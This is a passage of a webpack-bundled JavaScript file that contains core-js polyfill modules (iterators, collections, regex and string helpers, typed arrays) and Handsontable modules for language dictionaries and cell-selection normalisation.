var fns = exec( defined, SYMBOL, ''[KEY], function maybeCallNative(nativeMethod, regexp, str, arg2, forceStringMethod) { if (regexp.exec === regexpExec) { if (DELEGATES_TO_SYMBOL && !forceStringMethod) { // The native String method already delegates to @@method (this // polyfilled function), leasing to infinite recursion. // We avoid it by directly calling the native @@method method. return { done: true, value: nativeRegExpMethod.call(regexp, str, arg2) }; } return { done: true, value: nativeMethod.call(str, regexp, arg2) }; } return { done: false }; } ); var strfn = fns[0]; var rxfn = fns[1]; redefine(String.prototype, KEY, strfn); hide(RegExp.prototype, SYMBOL, length == 2 // 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue) // 21.2.5.11 RegExp.prototype[@@split](string, limit) ? function (string, arg) { return rxfn.call(string, this, arg); } // 21.2.5.6 RegExp.prototype[@@match](string) // 21.2.5.9 RegExp.prototype[@@search](string) : function (string) { return rxfn.call(string, this); } ); } }; /***/ }), /* 86 */ /***/ (function(module, exports, __webpack_require__) { var ctx = __webpack_require__(37); var call = __webpack_require__(145); var isArrayIter = __webpack_require__(110); var anObject = __webpack_require__(5); var toLength = __webpack_require__(16); var getIterFn = __webpack_require__(112); var BREAK = {}; var RETURN = {}; var exports = module.exports = function (iterable, entries, fn, that, ITERATOR) { var iterFn = ITERATOR ? function () { return iterable; } : getIterFn(iterable); var f = ctx(fn, that, entries ? 2 : 1); var index = 0; var length, step, iterator, result; if (typeof iterFn != 'function') throw TypeError(iterable + ' is not iterable!'); // fast case for arrays with default iterator if (isArrayIter(iterFn)) for (length = toLength(iterable.length); length > index; index++) { result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]); if (result === BREAK || result === RETURN) return result; } else for (iterator = iterFn.call(iterable); !(step = iterator.next()).done;) { result = call(iterator, f, step.value, entries); if (result === BREAK || result === RETURN) return result; } }; exports.BREAK = BREAK; exports.RETURN = RETURN; /***/ }), /* 87 */ /***/ (function(module, exports, __webpack_require__) { var global = __webpack_require__(6); var navigator = global.navigator; module.exports = navigator && navigator.userAgent || ''; /***/ }), /* 88 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var global = __webpack_require__(6); var $export = __webpack_require__(0); var redefine = __webpack_require__(23); var redefineAll = __webpack_require__(65); var meta = __webpack_require__(45); var forOf = __webpack_require__(86); var anInstance = __webpack_require__(64); var isObject = __webpack_require__(7); var fails = __webpack_require__(4); var $iterDetect = __webpack_require__(82); var setToStringTag = __webpack_require__(60); var inheritIfRequired = __webpack_require__(101); module.exports = function (NAME, wrapper, methods, common, IS_MAP, IS_WEAK) { var Base = global[NAME]; var C = Base; var ADDER = IS_MAP ? 'set' : 'add'; var proto = C && C.prototype; var O = {}; var fixMethod = function (KEY) { var fn = proto[KEY]; redefine(proto, KEY, KEY == 'delete' ? function (a) { return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a); } : KEY == 'has' ? function has(a) { return IS_WEAK && !isObject(a) ? false : fn.call(this, a === 0 ? 0 : a); } : KEY == 'get' ? function get(a) { return IS_WEAK && !isObject(a) ? undefined : fn.call(this, a === 0 ? 0 : a); } : KEY == 'add' ? function add(a) { fn.call(this, a === 0 ? 0 : a); return this; } : function set(a, b) { fn.call(this, a === 0 ? 0 : a, b); return this; } ); }; if (typeof C != 'function' || !(IS_WEAK || proto.forEach && !fails(function () { new C().entries().next(); }))) { // create collection constructor C = common.getConstructor(wrapper, NAME, IS_MAP, ADDER); redefineAll(C.prototype, methods); meta.NEED = true; } else { var instance = new C(); // early implementations not supports chaining var HASNT_CHAINING = instance[ADDER](IS_WEAK ? {} : -0, 1) != instance; // V8 ~ Chromium 40- weak-collections throws on primitives, but should return false var THROWS_ON_PRIMITIVES = fails(function () { instance.has(1); }); // most early implementations doesn't supports iterables, most modern - not close it correctly var ACCEPT_ITERABLES = $iterDetect(function (iter) { new C(iter); }); // eslint-disable-line no-new // for early implementations -0 and +0 not the same var BUGGY_ZERO = !IS_WEAK && fails(function () { // V8 ~ Chromium 42- fails only with 5+ elements var $instance = new C(); var index = 5; while (index--) $instance[ADDER](index, index); return !$instance.has(-0); }); if (!ACCEPT_ITERABLES) { C = wrapper(function (target, iterable) { anInstance(target, C, NAME); var that = inheritIfRequired(new Base(), target, C); if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); return that; }); C.prototype = proto; proto.constructor = C; } if (THROWS_ON_PRIMITIVES || BUGGY_ZERO) { fixMethod('delete'); fixMethod('has'); IS_MAP && fixMethod('get'); } if (BUGGY_ZERO || HASNT_CHAINING) fixMethod(ADDER); // weak collections should not contains .clear method if (IS_WEAK && proto.clear) delete proto.clear; } setToStringTag(C, NAME); O[NAME] = C; $export($export.G + $export.W + $export.F * (C != Base), O); if (!IS_WEAK) common.setStrong(C, NAME, IS_MAP); return C; }; /***/ }), /* 89 */ /***/ (function(module, exports, __webpack_require__) { var global = __webpack_require__(6); var hide = __webpack_require__(28); var uid = __webpack_require__(51); var TYPED = uid('typed_array'); var VIEW = uid('view'); var ABV = !!(global.ArrayBuffer && global.DataView); var CONSTR = ABV; var i = 0; var l = 9; var Typed; var TypedArrayConstructors = ( 'Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array' ).split(','); while (i < l) { if (Typed = global[TypedArrayConstructors[i++]]) { hide(Typed.prototype, TYPED, true); hide(Typed.prototype, VIEW, true); } else CONSTR = false; } module.exports = { ABV: ABV, CONSTR: CONSTR, TYPED: TYPED, VIEW: VIEW }; /***/ }), /* 90 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.registerLanguageDictionary = registerLanguage; exports.getLanguageDictionary = getLanguage; exports.hasLanguageDictionary = hasLanguage; exports.getDefaultLanguageDictionary = getDefaultLanguage; exports.getLanguagesDictionaries = getLanguages; exports.DEFAULT_LANGUAGE_CODE = void 0; var _object = __webpack_require__(2); var _utils = __webpack_require__(428); var _staticRegister2 = _interopRequireDefault(__webpack_require__(46)); var _enUS = _interopRequireDefault(__webpack_require__(650)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var DEFAULT_LANGUAGE_CODE = _enUS.default.languageCode; exports.DEFAULT_LANGUAGE_CODE = DEFAULT_LANGUAGE_CODE; var _staticRegister = (0, _staticRegister2.default)('languagesDictionaries'), registerGloballyLanguageDictionary = _staticRegister.register, getGlobalLanguageDictionary = _staticRegister.getItem, hasGlobalLanguageDictionary = _staticRegister.hasItem, getGlobalLanguagesDictionaries = _staticRegister.getValues; /** * Register language dictionary for specific language code. * * @param {String|Object} languageCodeOrDictionary Language code for specific language i.e. 'en-US', 'pt-BR', 'de-DE' or object representing dictionary. * @param {Object} dictionary Dictionary for specific language (optional if first parameter has already dictionary). */ function registerLanguage(languageCodeOrDictionary, dictionary) { var languageCode = languageCodeOrDictionary; var dictionaryObject = dictionary; // Dictionary passed as first argument. if ((0, _object.isObject)(languageCodeOrDictionary)) { dictionaryObject = languageCodeOrDictionary; languageCode = dictionaryObject.languageCode; } extendLanguageDictionary(languageCode, dictionaryObject); registerGloballyLanguageDictionary(languageCode, (0, _object.deepClone)(dictionaryObject)); // We do not allow user to work with dictionary by reference, it can cause lot of bugs. return (0, _object.deepClone)(dictionaryObject); } /** * Get language dictionary for specific language code. * * @param {String} languageCode Language code. * @returns {Object} Object with constants representing identifiers for translation (as keys) and corresponding translation phrases (as values). */ function getLanguage(languageCode) { if (!hasLanguage(languageCode)) { return null; } return (0, _object.deepClone)(getGlobalLanguageDictionary(languageCode)); } /** * * Get if language with specified language code was registered. * * @param {String} languageCode Language code for specific language i.e. 'en-US', 'pt-BR', 'de-DE'. * @returns {Boolean} */ function hasLanguage(languageCode) { return hasGlobalLanguageDictionary(languageCode); } /** * Get default language dictionary. * * @returns {Object} Object with constants representing identifiers for translation (as keys) and corresponding translation phrases (as values). */ function getDefaultLanguage() { return _enUS.default; } /** * Extend handled dictionary by default language dictionary. As result, if any dictionary key isn't defined for specific language, it will be filled with default language value ("dictionary gaps" are supplemented). * * @private * @param {String} languageCode Language code. * @param {Object} dictionary Dictionary which is extended. */ function extendLanguageDictionary(languageCode, dictionary) { if (languageCode !== DEFAULT_LANGUAGE_CODE) { (0, _utils.extendNotExistingKeys)(dictionary, getGlobalLanguageDictionary(DEFAULT_LANGUAGE_CODE)); } } /** * Get registered language dictionaries. * * @returns {Array} */ function getLanguages() { return getGlobalLanguagesDictionaries(); } /** * Automatically registers default dictionary. */ registerLanguage(_enUS.default); /***/ }), /* 91 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.detectSelectionType = detectSelectionType; exports.normalizeSelectionFactory = normalizeSelectionFactory; exports.transformSelectionToColumnDistance = transformSelectionToColumnDistance; exports.transformSelectionToRowDistance = transformSelectionToRowDistance; exports.isValidCoord = isValidCoord; exports.SELECTION_TYPES = exports.SELECTION_TYPE_OBJECT = exports.SELECTION_TYPE_ARRAY = exports.SELECTION_TYPE_EMPTY = exports.SELECTION_TYPE_UNRECOGNIZED = void 0; var _src = __webpack_require__(8); var _array = __webpack_require__(3); var _mixed = __webpack_require__(14); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } var SELECTION_TYPE_UNRECOGNIZED = 0; exports.SELECTION_TYPE_UNRECOGNIZED = SELECTION_TYPE_UNRECOGNIZED; var SELECTION_TYPE_EMPTY = 1; exports.SELECTION_TYPE_EMPTY = SELECTION_TYPE_EMPTY; var SELECTION_TYPE_ARRAY = 2; exports.SELECTION_TYPE_ARRAY = SELECTION_TYPE_ARRAY; var SELECTION_TYPE_OBJECT = 3; exports.SELECTION_TYPE_OBJECT = SELECTION_TYPE_OBJECT; var SELECTION_TYPES = [SELECTION_TYPE_OBJECT, SELECTION_TYPE_ARRAY]; exports.SELECTION_TYPES = SELECTION_TYPES; var ARRAY_TYPE_PATTERN = [['number'], ['number', 'string'], ['number', 'undefined'], ['number', 'string', 'undefined']]; var rootCall = Symbol('root'); var childCall = Symbol('child'); /** * Detect selection schema structure. * * @param {*} selectionRanges The selected range or and array of selected ranges. This type of data is produced by * `hot.getSelected()`, `hot.getSelectedLast()`, `hot.getSelectedRange()` * and `hot.getSelectedRangeLast()` methods. * @returns {Number} Returns a number that specifies the type of detected selection schema. If selection schema type * is unrecognized than it returns `0`. */ function detectSelectionType(selectionRanges) { var _callSymbol = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : rootCall; if (_callSymbol !== rootCall && _callSymbol !== childCall) { throw new Error('The second argument is used internally only and cannot be overwritten.'); } var isArray = Array.isArray(selectionRanges); var isRootCall = _callSymbol === rootCall; var result = SELECTION_TYPE_UNRECOGNIZED; if (isArray) { var firstItem = selectionRanges[0]; if (selectionRanges.length === 0) { result = SELECTION_TYPE_EMPTY; } else if (isRootCall && firstItem instanceof _src.CellRange) { result = SELECTION_TYPE_OBJECT; } else if (isRootCall && Array.isArray(firstItem)) { result = detectSelectionType(firstItem, childCall); } else if (selectionRanges.length >= 2 && selectionRanges.length <= 4) { var isArrayType = !selectionRanges.some(function (value, index) { return !ARRAY_TYPE_PATTERN[index].includes(_typeof(value)); }); if (isArrayType) { result = SELECTION_TYPE_ARRAY; } } } return result; } /** * Factory function designed for normalization data schema from different data structures of the selection ranges. * * @param {String} type Selection type which will be processed. * @param {Object} [options] * @param {Boolean} [options.keepDirection=false] If `true`, the coordinates which contain the direction of the * selected cells won't be changed. Otherwise, the selection will be * normalized to values starting from top-left to bottom-right. * @param {Function} [options.propToCol] Pass the converting function (usually `datamap.propToCol`) if the column * defined as props should be normalized to the numeric values. * @returns {Number[]} Returns normalized data about selected range as an array (`[rowStart, columnStart, rowEnd, columnEnd]`). */ function normalizeSelectionFactory(type) { var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}, _ref$keepDirection = _ref.keepDirection, keepDirection = _ref$keepDirection === void 0 ? false : _ref$keepDirection, propToCol = _ref.propToCol; if (!SELECTION_TYPES.includes(type)) { throw new Error('Unsupported selection ranges schema type was provided.'); } return function (selection) { var isObjectType = type === SELECTION_TYPE_OBJECT; var rowStart = isObjectType ? selection.from.row : selection[0]; var columnStart = isObjectType ? selection.from.col : selection[1]; var rowEnd = isObjectType ? selection.to.row : selection[2]; var columnEnd = isObjectType ? selection.to.col : selection[3]; if (typeof propToCol === 'function') { if (typeof columnStart === 'string') { columnStart = propToCol(columnStart); } if (typeof columnEnd === 'string') { columnEnd = propToCol(columnEnd); } } if ((0, _mixed.isUndefined)(rowEnd)) { rowEnd = rowStart; } if ((0, _mixed.isUndefined)(columnEnd)) { columnEnd = columnStart; } if (!keepDirection) { var origRowStart = rowStart; var origColumnStart = columnStart; var origRowEnd = rowEnd; var origColumnEnd = columnEnd; rowStart = Math.min(origRowStart, origRowEnd); columnStart = Math.min(origColumnStart, origColumnEnd); rowEnd = Math.max(origRowStart, origRowEnd); columnEnd = Math.max(origColumnStart, origColumnEnd); } return [rowStart, columnStart, rowEnd, columnEnd]; }; } /** * Function transform selection ranges (produced by `hot.getSelected()` and `hot.getSelectedRange()`) to normalized * data structure. It merges repeated ranges into consecutive coordinates. The returned structure * contains an array of arrays. The single item contains at index 0 visual column index from the selection was * started and at index 1 distance as a count of selected columns. * * @param {Array[]|CellRange[]} selectionRanges Selection ranges produced by Handsontable. * @return {Array[]} Returns an array of arrays with ranges defines in that schema: * `[[visualColumnStart, distance], [visualColumnStart, distance], ...]`. * The column distances are always created starting from the left (zero index) to the * right (the latest column index). */ function transformSelectionToColumnDistance(selectionRanges) { var selectionType = detectSelectionType(selectionRanges); if (selectionType === SELECTION_TYPE_UNRECOGNIZED || selectionType === SELECTION_TYPE_EMPTY) { return []; } var selectionSchemaNormalizer = normalizeSelectionFactory(selectionType); var unorderedIndexes = new Set(); // Iterate through all ranges and collect all column indexes which are not saved yet. (0, _array.arrayEach)(selectionRanges, function (selection) { var _selectionSchemaNorma = selectionSchemaNormalizer(selection), _selectionSchemaNorma2 = _slicedToArray(_selectionSchemaNorma, 4), columnStart = _selectionSchemaNorma2[1], columnEnd = _selectionSchemaNorma2[3]; var amount = columnEnd - columnStart + 1; (0, _array.arrayEach)(Array.from(new Array(amount), function (_, i) { return columnStart + i; }), function (index) { if (!unorderedIndexes.has(index)) { unorderedIndexes.add(index); } }); }); // Sort indexes in ascending order to easily detecting non-consecutive columns. var orderedIndexes = Array.from(unorderedIndexes).sort(function (a, b) { return a - b; }); var normalizedColumnRanges = (0, _array.arrayReduce)(orderedIndexes, function (acc, visualColumnIndex, index, array) { if (index !== 0 && visualColumnIndex === array[index - 1] + 1) { acc[acc.length - 1][1] += 1; } else { acc.push([visualColumnIndex, 1]); } return acc; }, []); return normalizedColumnRanges; } /** * Function transform selection ranges (produced by `hot.getSelected()` and `hot.getSelectedRange()`) to normalized * data structure. It merges repeated ranges into consecutive coordinates. The returned structure * contains an array of arrays. The single item contains at index 0 visual column index from the selection was * started and at index 1 distance as a count of selected columns. * * @param {Array[]|CellRange[]} selectionRanges Selection ranges produced by Handsontable. * @return {Array[]} Returns an array of arrays with ranges defines in that schema: * `[[visualColumnStart, distance], [visualColumnStart, distance], ...]`. * The column distances are always created starting from the left (zero index) to the * right (the latest column index). */ function transformSelectionToRowDistance(selectionRanges) { var selectionType = detectSelectionType(selectionRanges); if (selectionType === SELECTION_TYPE_UNRECOGNIZED || selectionType === SELECTION_TYPE_EMPTY) { return []; } var selectionSchemaNormalizer = normalizeSelectionFactory(selectionType); var unorderedIndexes = new Set(); // Iterate through all ranges and collect all column indexes which are not saved yet. (0, _array.arrayEach)(selectionRanges, function (selection) { var _selectionSchemaNorma3 = selectionSchemaNormalizer(selection), _selectionSchemaNorma4 = _slicedToArray(_selectionSchemaNorma3, 3), rowStart = _selectionSchemaNorma4[0], rowEnd = _selectionSchemaNorma4[2]; var amount = rowEnd - rowStart + 1; (0, _array.arrayEach)(Array.from(new Array(amount), function (_, i) { return rowStart + i; }), function (index) { if (!unorderedIndexes.has(index)) { unorderedIndexes.add(index); } }); }); // Sort indexes in ascending order to easily detecting non-consecutive columns. var orderedIndexes = Array.from(unorderedIndexes).sort(function (a, b) { return a - b; }); var normalizedRowRanges = (0, _array.arrayReduce)(orderedIndexes, function (acc, rowIndex, index, array) { if (index !== 0 && rowIndex === array[index - 1] + 1) { acc[acc.length - 1][1] += 1; } else { acc.push([rowIndex, 1]); } return acc; }, []); return normalizedRowRanges; } /** * Check if passed value can be treated as valid cell coordinate. The second argument is * used to check if the value doesn't exceed the defined max table rows/columns count. * * @param {*} coord * @param {Number} maxTableItemsCount The value that declares the maximum coordinate that is still validatable. * @return {Boolean} */ function isValidCoord(coord) { var maxTableItemsCount = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : Infinity; return typeof coord === 'number' && coord >= 0 && coord < maxTableItemsCount; } /***/ }), /* 92 */ /***/ (function(module, exports, __webpack_require__) { var isObject = __webpack_require__(7); var document = __webpack_require__(6).document; // typeof document.createElement is 'object' in old IE var is = isObject(document) && isObject(document.createElement); module.exports = function (it) { return is ? document.createElement(it) : {}; }; /***/ }), /* 93 */ /***/ (function(module, exports, __webpack_require__) { var core = __webpack_require__(21); var global = __webpack_require__(6); var SHARED = '__core-js_shared__'; var store = global[SHARED] || (global[SHARED] = {}); (module.exports = function (key, value) { return store[key] || (store[key] = value !== undefined ? value : {}); })('versions', []).push({ version: core.version, mode: __webpack_require__(52) ? 'pure' : 'global', copyright: '© 2018 Denis Pushkarev (zloirock.ru)' }); /***/ }), /* 94 */ /***/ (function(module, exports, __webpack_require__) { exports.f = __webpack_require__(12); /***/ }), /* 95 */ /***/ (function(module, exports, __webpack_require__) { var shared = __webpack_require__(93)('keys'); var uid = __webpack_require__(51); module.exports = function (key) { return shared[key] || (shared[key] = uid(key)); }; /***/ }), /* 96 */ /***/ (function(module, exports) { // IE 8- don't enum bug keys module.exports = ( 'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf' ).split(','); /***/ }), /* 97 */ /***/ (function(module, exports, __webpack_require__) { // 7.2.2 IsArray(argument) var cof = __webpack_require__(39); module.exports = Array.isArray || function isArray(arg) { return cof(arg) == 'Array'; }; /***/ }), /* 98 */ /***/ (function(module, exports, __webpack_require__) { var document = __webpack_require__(6).document; module.exports = document && document.documentElement; /***/ }), /* 99 */ /***/ (function(module, exports, __webpack_require__) { // Works with __proto__ only. Old v8 can't work with null proto objects. /* eslint-disable no-proto */ var isObject = __webpack_require__(7); var anObject = __webpack_require__(5); var check = function (O, proto) { anObject(O); if (!isObject(proto) && proto !== null) throw TypeError(proto + ": can't set as prototype!"); }; module.exports = { set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line function (test, buggy, set) { try { set = __webpack_require__(37)(Function.call, __webpack_require__(34).f(Object.prototype, '__proto__').set, 2); set(test, []); buggy = !(test instanceof Array); } catch (e) { buggy = true; } return function setPrototypeOf(O, proto) { check(O, proto); if (buggy) O.__proto__ = proto; else set(O, proto); return O; }; }({}, false) : undefined), check: check }; /***/ }), /* 100 */ /***/ (function(module, exports) { module.exports = '\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003' + '\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF'; /***/ }), /* 101 */ /***/ (function(module, exports, __webpack_require__) { var isObject = __webpack_require__(7); var setPrototypeOf = __webpack_require__(99).set; module.exports = function (that, target, C) { var S = target.constructor; var P; if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) { setPrototypeOf(that, P); } return that; }; /***/ }), /* 102 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var toInteger = __webpack_require__(33); var defined = __webpack_require__(40); module.exports = function repeat(count) { var str = String(defined(this)); var res = ''; var n = toInteger(count); if (n < 0 || n == Infinity) throw RangeError("Count can't be negative"); for (;n > 0; (n >>>= 1) && (str += str)) if (n & 1) res += str; return res; }; /***/ }), /* 103 */ /***/ (function(module, exports) { // 20.2.2.28 Math.sign(x) module.exports = Math.sign || function sign(x) { // eslint-disable-next-line no-self-compare return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1; }; /***/ }), /* 104 */ /***/ (function(module, exports) { // 20.2.2.14 Math.expm1(x) var $expm1 = Math.expm1; module.exports = (!$expm1 // Old FF bug || $expm1(10) > 22025.465794806719 || $expm1(10) < 22025.4657948067165168 // Tor Browser bug || $expm1(-2e-17) != -2e-17 ) ? function expm1(x) { return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1; } : $expm1; /***/ }), /* 105 */ /***/ (function(module, exports, __webpack_require__) { var toInteger = __webpack_require__(33); var defined = __webpack_require__(40); // true -> String#at // false -> String#codePointAt module.exports = function (TO_STRING) { return function (that, pos) { var s = String(defined(that)); var i = toInteger(pos); var l = s.length; var a, b; if (i < 0 || i >= l) return TO_STRING ? '' : undefined; a = s.charCodeAt(i); return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff ? TO_STRING ? s.charAt(i) : a : TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000; }; }; /***/ }), /* 106 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var LIBRARY = __webpack_require__(52); var $export = __webpack_require__(0); var redefine = __webpack_require__(23); var hide = __webpack_require__(28); var Iterators = __webpack_require__(61); var $iterCreate = __webpack_require__(144); var setToStringTag = __webpack_require__(60); var getPrototypeOf = __webpack_require__(57); var ITERATOR = __webpack_require__(12)('iterator'); var BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next` var FF_ITERATOR = '@@iterator'; var KEYS = 'keys'; var VALUES = 'values'; var returnThis = function () { return this; }; module.exports = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) { $iterCreate(Constructor, NAME, next); var getMethod = function (kind) { if (!BUGGY && kind in proto) return proto[kind]; switch (kind) { case KEYS: return function keys() { return new Constructor(this, kind); }; case VALUES: return function values() { return new Constructor(this, kind); }; } return function entries() { return new Constructor(this, kind); }; }; var TAG = NAME + ' Iterator'; var DEF_VALUES = DEFAULT == VALUES; var VALUES_BUG = false; var proto = Base.prototype; var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT]; var $default = $native || getMethod(DEFAULT); var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined; var $anyNative = NAME == 'Array' ? proto.entries || $native : $native; var methods, key, IteratorPrototype; // Fix native if ($anyNative) { IteratorPrototype = getPrototypeOf($anyNative.call(new Base())); if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) { // Set @@toStringTag to native iterators setToStringTag(IteratorPrototype, TAG, true); // fix for some old engines if (!LIBRARY && typeof IteratorPrototype[ITERATOR] != 'function') hide(IteratorPrototype, ITERATOR, returnThis); } } // fix Array#{values, @@iterator}.name in V8 / FF if (DEF_VALUES && $native && $native.name !== VALUES) { VALUES_BUG = true; $default = function values() { return $native.call(this); }; } // Define iterator if ((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])) { hide(proto, ITERATOR, $default); } // Plug for library Iterators[NAME] = $default; Iterators[TAG] = returnThis; if (DEFAULT) { methods = { values: DEF_VALUES ? $default : getMethod(VALUES), keys: IS_SET ? $default : getMethod(KEYS), entries: $entries }; if (FORCED) for (key in methods) { if (!(key in proto)) redefine(proto, key, methods[key]); } else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods); } return methods; }; /***/ }), /* 107 */ /***/ (function(module, exports, __webpack_require__) { // helper for String#{startsWith, endsWith, includes} var isRegExp = __webpack_require__(108); var defined = __webpack_require__(40); module.exports = function (that, searchString, NAME) { if (isRegExp(searchString)) throw TypeError('String#' + NAME + " doesn't accept regex!"); return String(defined(that)); }; /***/ }), /* 108 */ /***/ (function(module, exports, __webpack_require__) { // 7.2.8 IsRegExp(argument) var isObject = __webpack_require__(7); var cof = __webpack_require__(39); var MATCH = __webpack_require__(12)('match'); module.exports = function (it) { var isRegExp; return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : cof(it) == 'RegExp'); }; /***/ }), /* 109 */ /***/ (function(module, exports, __webpack_require__) { var MATCH = __webpack_require__(12)('match'); module.exports = function (KEY) { var re = /./; try { '/./'[KEY](re); } catch (e) { try { re[MATCH] = false; return !'/./'[KEY](re); } catch (f) { /* empty */ } } return true; }; /***/ }), /* 110 */ /***/ (function(module, exports, __webpack_require__) { // check on default Array iterator var Iterators = __webpack_require__(61); var ITERATOR = __webpack_require__(12)('iterator'); var ArrayProto = Array.prototype; module.exports = function (it) { return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it); }; /***/ }), /* 111 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $defineProperty = __webpack_require__(17); var createDesc = __webpack_require__(50); module.exports = function (object, index, value) { if (index in object) $defineProperty.f(object, index, createDesc(0, value)); else object[index] = value; }; /***/ }), /* 112 */ /***/ (function(module, exports, __webpack_require__) { var classof = __webpack_require__(72); var ITERATOR = __webpack_require__(12)('iterator'); var Iterators = __webpack_require__(61); module.exports = __webpack_require__(21).getIteratorMethod = function (it) { if (it != undefined) return it[ITERATOR] || it['@@iterator'] || Iterators[classof(it)]; }; /***/ }), /* 113 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length) var toObject = __webpack_require__(24); var toAbsoluteIndex = __webpack_require__(54); var toLength = __webpack_require__(16); module.exports = function fill(value /* , start = 0, end = @length */) { var O = toObject(this); var length = toLength(O.length); var aLen = arguments.length; var index = toAbsoluteIndex(aLen > 1 ? arguments[1] : undefined, length); var end = aLen > 2 ? arguments[2] : undefined; var endPos = end === undefined ? length : toAbsoluteIndex(end, length); while (endPos > index) O[index++] = value; return O; }; /***/ }), /* 114 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var addToUnscopables = __webpack_require__(62); var step = __webpack_require__(148); var Iterators = __webpack_require__(61); var toIObject = __webpack_require__(29); // 22.1.3.4 Array.prototype.entries() // 22.1.3.13 Array.prototype.keys() // 22.1.3.29 Array.prototype.values() // 22.1.3.30 Array.prototype[@@iterator]() module.exports = __webpack_require__(106)(Array, 'Array', function (iterated, kind) { this._t = toIObject(iterated); // target this._i = 0; // next index this._k = kind; // kind // 22.1.5.2.1 %ArrayIteratorPrototype%.next() }, function () { var O = this._t; var kind = this._k; var index = this._i++; if (!O || index >= O.length) { this._t = undefined; return step(1); } if (kind == 'keys') return step(0, index); if (kind == 'values') return step(0, O[index]); return step(0, [index, O[index]]); }, 'values'); // argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7) Iterators.Arguments = Iterators.Array; addToUnscopables('keys'); addToUnscopables('values'); addToUnscopables('entries'); /***/ }), /* 115 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var regexpFlags = __webpack_require__(83); var nativeExec = RegExp.prototype.exec; // This always refers to the native implementation, because the // String#replace polyfill uses ./fix-regexp-well-known-symbol-logic.js, // which loads this file before patching the method. var nativeReplace = String.prototype.replace; var patchedExec = nativeExec; var LAST_INDEX = 'lastIndex'; var UPDATES_LAST_INDEX_WRONG = (function () { var re1 = /a/, re2 = /b*/g; nativeExec.call(re1, 'a'); nativeExec.call(re2, 'a'); return re1[LAST_INDEX] !== 0 || re2[LAST_INDEX] !== 0; })(); // nonparticipating capturing group, copied from es5-shim's String#split patch. var NPCG_INCLUDED = /()??/.exec('')[1] !== undefined; var PATCH = UPDATES_LAST_INDEX_WRONG || NPCG_INCLUDED; if (PATCH) { patchedExec = function exec(str) { var re = this; var lastIndex, reCopy, match, i; if (NPCG_INCLUDED) { reCopy = new RegExp('^' + re.source + '$(?!\\s)', regexpFlags.call(re)); } if (UPDATES_LAST_INDEX_WRONG) lastIndex = re[LAST_INDEX]; match = nativeExec.call(re, str); if (UPDATES_LAST_INDEX_WRONG && match) { re[LAST_INDEX] = re.global ? match.index + match[0].length : lastIndex; } if (NPCG_INCLUDED && match && match.length > 1) { // Fix browsers whose `exec` methods don't consistently return `undefined` // for NPCG, like IE8. NOTE: This doesn' work for /(.?)?/ // eslint-disable-next-line no-loop-func nativeReplace.call(match[0], reCopy, function () { for (i = 1; i < arguments.length - 2; i++) { if (arguments[i] === undefined) match[i] = undefined; } }); } return match; }; } module.exports = patchedExec; /***/ }), /* 116 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var at = __webpack_require__(105)(true); // `AdvanceStringIndex` abstract operation // https://tc39.github.io/ecma262/#sec-advancestringindex module.exports = function (S, index, unicode) { return index + (unicode ? at(S, index).length : 1); 